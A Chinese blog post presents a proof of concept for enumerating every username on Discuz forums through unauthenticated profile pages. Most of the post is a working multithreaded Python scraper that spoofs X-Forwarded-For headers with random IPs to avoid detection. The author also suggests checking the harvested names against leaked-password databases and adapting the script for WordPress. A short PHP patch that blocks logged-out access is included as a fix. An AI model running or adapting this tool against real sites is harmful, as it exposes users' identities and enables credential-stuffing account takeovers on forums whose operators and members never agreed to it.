Discuz the user traversal Poc

看到网上某篇文章，突然想起自己还有几篇没有发到博客上，于是发一下。

0x01 从discuz能遍历用户资料的问题谈起

我们随便点进一个discuz论坛，在地址后面加?1，有的论坛就会显示uid=1的用户资料页（或是家园空间首页，取决于这个论坛有没有开通家园）：
 
不过有些论坛（比如法客）没有这个的，可能是哪里修改了。
不过我们访问 home.php?mod=space&uid=3550&do=profile 还是能看到 uid = 3550的用户资料的：

而且，这个地址是没有登录限制的，也就是说未登录的用户也能看这个资料页面。而且好像后台是不能增加这个限制的，必须要改代码。
这对于一些私密性比较高的论坛就构成了很大的威胁，这个问题就类似于wordpress的用户名遍历问题一样，获得了你的用户名，就能爆破你的密码了。
于是，我们设想，从uid=1到uid=XXX，写个脚本遍历一下，就能够获得这个论坛所有注册用户的用户名。不管你是不是这个论坛的用户。

0x02 python脚本的编写
我之前写了一个单线程的，但速度实在不敢恭维，所以后来改成多线程。多线程速度确实快了许多，但涉及到线程同步的问题又让我困惑了好久，最后加了一些线程锁，还有生成随机IP的代码，速度减低了一些但代码能稳定地运行了。

#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
to get all user on discuz
get username from http://localhost/home.php?mod=space&uid=1&do=profile
'''
__author__ = 'Phtih0n'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 '
                        '(KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER'}
import threading, random

now = 1
time = 0
lock = threading.Lock()

class ScanThread(threading.Thread):
    def __init__(self, url, end_times, fout):
        threading.Thread.__init__(self)
        if url[0:7] != "http://":
            self.url = "http://%s" % url
        else:
            self.url = url
        self.end_times = end_times
        self.fout = fout

    def run(self):
        self.scan_username()

    def makeIp(self):
        return "%d.%d.%d.%d" % (random.randint(11, 190), random.randint(11, 190), random.randint(11, 190), random.randint(11, 190))

    def scan_username(self):
        import requests, re, sys
        global now, time, lock, header
        rex = re.compile(ur'''<title>(.+)的个人资料.+</title>''')
        while lock.acquire() and time < self.end_times:
            now_id = now
            now += 1
            header["X-FORWARDED-FOR"] = self.makeIp()
            lock.release()
            get = "%s/home.php?mod=space&uid=%d&do=profile" % (self.url, now_id)
            try:
                response = requests.get(get, headers = header)
            except:
                print u"在Id = %d 处中断" % now_id
                continue
            if response.status_code == 404:
                print u"地址似乎不能破"
                return
            html = response.text
            ret = rex.search(html)
            if lock.acquire():
                if ret:
                    name = ret.group(1).encode("utf-8")
                    self.fout.write("id: %d username: %s\n" % (now_id, name))
                    time = 0
                    sys.stdout.write("%d%s" % (now_id, "\b" * 5))
                    sys.stdout.flush()
                else:
                    time += 1
                lock.release()
        lock.release()

if __name__ == "__main__":
    import optparse
    parser = optparse.OptionParser()

    parser.add_option(
        '-u','--scan-url',
        dest = 'url',
        help = u'等待扫号的论坛地址')
    parser.add_option(
        '-t','--end-times',
        type = 'int',dest = 'end_times',default = 100,
        help = u'发现有多少个账号不存在时停止扫描')
    parser.add_option(
        '-o','--output-file',
        dest = 'file',
        help = u'扫描结果输出文件')
    options, args = parser.parse_args()
    fout = open(options.file, "w")
    ThreadList = []
    for i in range(0, 20):
        t = ScanThread(options.url, options.end_times, fout)
        ThreadList.append(t)
    for t in ThreadList:
        t.start()
    for t in ThreadList:
        t.join()

大概过程是先创建20个线程并进入线程函数，线程函数里开始遍历uid。使用requests模块get到用户资料页的html，并正则匹配出用户名（从<title>里匹配），有uid不存在时就会有“用户不存在”的提示，这时候就将一个计数变量time自增1。当所有用户遍历完了以后，我们的脚本不知道，仍然在访问不存在的uid，但每访问一个time都会自增1，直到time超过预先定义的一个“end_times”值（默认100）。线程退出。
退出的时候一定要记得释放线程锁，否则就造成其后的线程得不到lock，导致程序一直阻塞。我之前就是因为这个原因困惑了好久。
程序的用法：

首先安装python的requests库。我习惯用这个库写网络程序……改不了了。这个库也很方便，推荐大家使用。

安装方法：
pip install requests
或
easy_install requests
windows下直接下载：http://www.python-requests.org/en/latest/user/install/
解压后进入目录
python setup.py install
安装

要遍历一个论坛账号，就是这样了：

剩下的任务就是等待。

结果：

获得了这些用户名，就能批量在你的“社工库”里碰撞密码了。进行进一步的信息搜集。
对于那种私密性的论坛，一旦有一个账号泄露，私密性就彻底消失。

0x03 问题解决方案
这个问题说好也好解决，说难也难解决。
我这个解决方案只是对于未注册的用户，不能查看其他用户用户名，但对于注册的用户来说，查看其他人用户名就太简单了。
来到discuz根目录下的\source\include\space\space_profile.php

if(!defined('IN_DISCUZ')) {
        exit('Access Denied');
}

require_once libfile('function/spacecp');

space_merge($space, 'count');
space_merge($space, 'field_home');
space_merge($space, 'field_forum');
space_merge($space, 'profile');
space_merge($space, 'status');
getonlinemember(array($space['uid']));

###########################################
if($_G['uid'] > 0) {} //in_array($_G['groupid'], array(1))
else {
showmessage('对不起，您无权进行此操作');
}
###########################################

if($space['videophoto'] && ckvideophoto($space, 1)) {
        $space['videophoto'] = getvideophoto($space['videophoto']);
} else {
        $space['videophoto'] = '';
}

以后当未登录的用户再访问/?1或home.php?mod=space&uid=1&do=profile时就会提示“对不起，您无权进行此操作”

0x04 后话
wordpress也能这么遍历出所有用户名，这个总所周知了，把我的脚本改一改就能打wordpress了。